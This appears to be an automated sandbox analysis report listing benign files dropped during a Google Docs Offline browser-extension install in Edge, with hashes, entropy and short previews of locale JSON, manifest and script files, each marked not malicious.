SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.754230909218899
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsN9Jtwg1MK8HNnswuHEIIMuuqd7CKqv+pccW5SJ+:m8IGIEu8RfW+
MD5:	BE5DB35513DDEF454CE3502B6418B9B4
SHA1:	C82B23A82F745705AA6BCBBEFEB6CE3DBCC71CB1
SHA-256:	C6F623BE1112C2FDE6BE8941848A82B2292FCD2B475FBD363CC2FD4DF25049B5
SHA-512:	38C48E67631FAF0594D44525423C6EDC08F5A65F04288F0569B7CF8C71C359924069212462B0A2BFA38356F93708143EE1CBD42295D7317E8670D0A0CD10BAFD
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417689528134667
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1e9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APegiVb
MD5:	10FF8E5B674311683D27CE1879384954
SHA1:	9C269C14E067BB86642EB9F4816D75CF1B9B9158
SHA-256:	17363162A321625358255EE939F447E9363FF2284BD35AE15470FD5318132CA9
SHA-512:	4D3EB89D398A595FEA8B59AC6269A57CC96C4A0E5A5DB8C5FE70AB762E8144A5DF9AFC8756CA2E798E50778CD817CC9B0826FC2942DE31397E858DBFA1B06830
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
